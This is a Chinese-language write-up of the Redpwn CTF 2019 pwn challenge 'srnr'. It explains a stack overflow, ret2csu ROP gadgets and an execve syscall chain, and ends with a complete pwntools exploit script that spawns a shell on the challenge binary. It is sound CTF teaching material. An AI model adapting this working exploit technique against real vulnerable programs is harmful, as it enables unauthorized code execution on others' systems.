这是一道Redpwn CTF 2019很简单的溢出题,主要考察ROP exp的编写。
[srnr](https://pan.baidu.com/s/174jiewXQISoHb08Aqisy7Q 提取码: yt2r)
对二进制文件进行逆向分析,可以看到程序先读入了一个数字作为文件描述符,再从文件描述符中读取100000个字符,而buf是rbp-9,只要读超过17个字符就会覆盖到ret:
为了能调用execve("/bin/sh", NULL, NULL)
,我们需要把rdi的地址设为"/bin/sh"
的地址,并清空rsi和rdx。程序中存在字符串"/bin//sh"
:
可以用ROPgadget获取字符串的地址:
1 2 3 4
| $ ROPgadget --binary ./srnr --string "/bin//sh" Strings information ============================================================ 0x0000000000400c49 : /bin//sh
|
在main函数的ret指令之前下断点,查看寄存器值:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| pwndbg> regs RAX 0x0 RBX 0x0 RCX 0x7ffff7af4081 (read+17) ◂— cmp rax, -0x1000 /* 'H=' */ RDX 0xffffffffffffff80 RDI 0x0 RSI 0x7fffffffdf27 ◂— 0x0 R8 0x0 R9 0x0 R10 0x7ffff7b82cc0 (_nl_C_LC_CTYPE_class+256) ◂— add al, byte ptr [rax] R11 0x246 R12 0x400600 (_start) ◂— xor ebp, ebp R13 0x7fffffffe010 ◂— 0x1 R14 0x0 R15 0x0 RBP 0x7fffffffdf30 —▸ 0x4007c0 (__libc_csu_init) ◂— push r15 RSP 0x7fffffffdf20 —▸ 0x7fffffffe010 ◂— 0x1 RIP 0x4007b7 (main+124) ◂— leave
|
二进制程序比较小,找不到太多有用的gadget,这里采用的是一个通用gadget,__libc_csu_init
函数是程序调用libc库用来对程序进行初始化的函数,一般先于main函数执行
而我们则是要利用__libc_csu_init
其中两段特殊的gadget:
1
| 0x0000000000400800 : mov rdx, r15 ; mov rsi, r14 ; mov edi, r13d ; call qword ptr [r12 + rbx*8]
|
因为r14和r15已经是0了,这个gadget实际上为我们清空了rdx和rsi。rdi是0,我们可以用r13给rdi设置一个32位的地址,设置为"/bin//sh"
的地址。rbx为0,因此可以通过控制r12 call任意函数。另一段gadget即为:
1
| 0x000000000040081c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
|
现在需要找一个指向syscall的指针分配给r12,采用的方法是找一块可写的内存,写入syscall的地址,再将这块内存的地址分配给r12。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x400000 0x401000 r-xp 1000 0 /home/fan/Computer/CTF/redpwn/srnr 0x601000 0x602000 r--p 1000 1000 /home/fan/Computer/CTF/redpwn/srnr 0x602000 0x603000 rw-p 1000 2000 /home/fan/Computer/CTF/redpwn/srnr 0x7ffff79e4000 0x7ffff7bcb000 r-xp 1e7000 0 /lib/x86_64-linux-gnu/libc-2.27.so 0x7ffff7bcb000 0x7ffff7dcb000 ---p 200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so 0x7ffff7dcb000 0x7ffff7dcf000 r--p 4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so 0x7ffff7dcf000 0x7ffff7dd1000 rw-p 2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so 0x7ffff7dd1000 0x7ffff7dd5000 rw-p 4000 0 0x7ffff7dd5000 0x7ffff7dfc000 r-xp 27000 0 /lib/x86_64-linux-gnu/ld-2.27.so 0x7ffff7fdf000 0x7ffff7fe1000 rw-p 2000 0 0x7ffff7ff8000 0x7ffff7ffb000 r--p 3000 0 [vvar] 0x7ffff7ffb000 0x7ffff7ffc000 r-xp 1000 0 [vdso] 0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 27000 /lib/x86_64-linux-gnu/ld-2.27.so 0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 28000 /lib/x86_64-linux-gnu/ld-2.27.so 0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0 0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack] 0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]
|
0x602000是可写的,把rdi设置为"%zu"
,rsi设置为这个可写的buff,然后返回__isoc99_scanf
即可从标准输入写到内存中,可以用如下gadget:
1 2
| 0x0000000000400823 : pop rdi ; ret 0x0000000000400821 : pop rsi ; pop r15 ; ret
|
最后需要做的就是将rax设为execve的系统调用号59(Ubuntu上64位系统调用号在/usr/include/x86_64-linux-gnu/asm/unistd_64.h中),get_int
函数从stdin读取一个整数并返回,所以可以调用它来修改rax。
完整的exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
|
from pwn import * elf = ELF('./srnr')
syscall = 0x400703 binsh = 0x400c49 pop4ret = 0x40081c
gadget = 0x400800 poprdi = 0x400823 poprsi = 0x400821 ret = 0x40059e fmtstr = 0x400c52 buff = 0x602000
p = process('./srnr')
p.recvuntil('[#] number of bytes: ') p.sendline('0')
payload = 'A' * 17
payload += p64(poprsi).decode() payload += p64(buff).decode() payload += p64(0).decode() payload += p64(poprdi).decode() payload += p64(fmtstr).decode() payload += '\xf0\x05@\x00\x00\x00\x00\x00'
payload += '\x9e\x05@\x00\x00\x00\x00\x00' payload += p64(elf.sym['get_int']).decode()
payload += p64(pop4ret).decode() payload += p64(buff).decode() payload += p64(binsh).decode() payload += p64(0).decode() payload += p64(0).decode() payload += p64(gadget).decode()
p.sendline(payload) sleep(1)
p.sendline(str(syscall)) sleep(1) p.sendline('59') p.clean()
p.interactive()
|
reference
https://www.pwndiary.com/write-ups/redpwn-ctf-2019-stop-rop-n-roll-write-up-pwn280/